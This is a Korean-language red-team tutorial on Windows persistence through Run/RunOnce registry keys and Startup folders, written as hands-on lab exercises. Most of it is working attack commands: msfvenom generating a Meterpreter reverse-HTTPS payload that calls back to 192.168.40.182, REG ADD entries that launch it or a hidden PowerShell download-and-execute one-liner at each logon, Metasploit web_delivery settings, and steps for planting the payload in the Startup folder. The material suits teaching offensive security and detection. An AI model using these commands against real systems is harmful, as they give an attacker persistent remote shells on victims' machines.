레지스트리 / 스타트업 폴더
레지스트리
윈도우의 레지스트리 키 들 중 다음의 키 들은 유저가 로그인 할 시 자동적으로 특정 프로그램/명령어를 실행한다.
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
실습
레지스트리 키에 원하는 프로그램을 등록시키거나 cmd.exe /c
혹은 powershell -enc -command
등의 플래그를 이용해 명령어를 실행시키면 된다. 레지스트리 키 추가는 다음의 명령어를 이용한다.
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v <이름> /t REG_SZ /d <프로그램-경로>
레지스트리 + 온디스크 미터프리터
# 1. 미터프리터 생성
msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.40.182 lport=8443 -f exe -o rev.exe
# 2. 리버스쉘을 c:\wow 에 옮기기
# 3. 타겟의 레지스트리 키 변경
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v <이름> /t REG_SZ /d <프로그램-경>
PS C:\Users\Administrator.CHOI> REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v safestartup /t REG_SZ /d C:\wow\rev.exe
The operation completed successfully.
# 4. 로그오프 후 다시 로그인 -> 리버스쉘 확인

레지스트리 + 인메모리 파워쉘 미터프리터
파워쉘을 이용한 인메모리 실행을 위해서는
iex (new-object net.webclient).downloadstring()
을 이용한다.레지스트리 키의 길이 제한은 255자이기 때문에 이에 유의해 레지스트리 키를 생성한다.
# 1. 메타스플로잇 설정
use exploit/multi/script/web_delivery
set target 2
set payload windows/x64/meterpreter/reverse_https
set lhost <ip>
set lport <port>
exploit
# 2. 타겟의 레지스트리 키 변경 - 메타스플로잇의 파워쉘 원라이너 사용
# #1 번에서 나온 "[*] Using URL: http://192.168.40.182:8080/XXzjZN0FVh" 사용
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v <이름> /t REG_SZ /d "<프로그램-경로>"
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v pshstartup /t REG_SZ /d "c:\windows\system32\windowspowershell\v1.0\powershell.exe -nop -w hidden iex(New-Object net.webclient).DownloadString('http://192.168.40.182:8080/XXzjZN0FVh')"
# 3. 로그오프 -> 로그인 후 리버스쉘 확인

스타트업 폴더
스타트업 폴더는 유저가 로그인 해 세션을 구축할 시 폴더 안의 프로그램을 자동으로 실행시킨다. 공격자들은 스타트업 폴더를 이용해 매번 유저가 로그인 할 때마다 비컨/리버스쉘을 받는 등의 지속성 공격을 실행할 수 있다.
스타트업 폴더의 경로는 다음과 같다:
유저: C:\Users\<유저>\Appdata\Roaming\Microsoft\Windows\Start Menu\Programs\StartUp
시스템: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
로컬 관리자 권한을 갖고 있다면 시스템 스타트업 폴더를 이용할 수 있다. 여기서 실행되는 프로세스들은 어떤 유저가 로그인 하던간에 실행된다.
실습
미터프리터를 생성한 뒤, 타겟 호스트의 스타트업 폴더에 미터프리터 파일을 옮긴다. 그 후 로그오프 -> 로그인을 해서 리버스쉘이 도착하는지 확인한다.
# 1. 미터프리터 생성
msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.40.182 lport=8443 -f exe -o rev.exe
# 2. 미터프리터 타겟 호스트로 전송
# 3. 타겟 호스트에서 미터프리터를 스타트업 폴더로 복사
cp <미터프리터 경로> 'C:\Users\<유저-이름>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\'
4. 로그오프 -> 로그인 후 리버스쉘 확인
레퍼런스
Last updated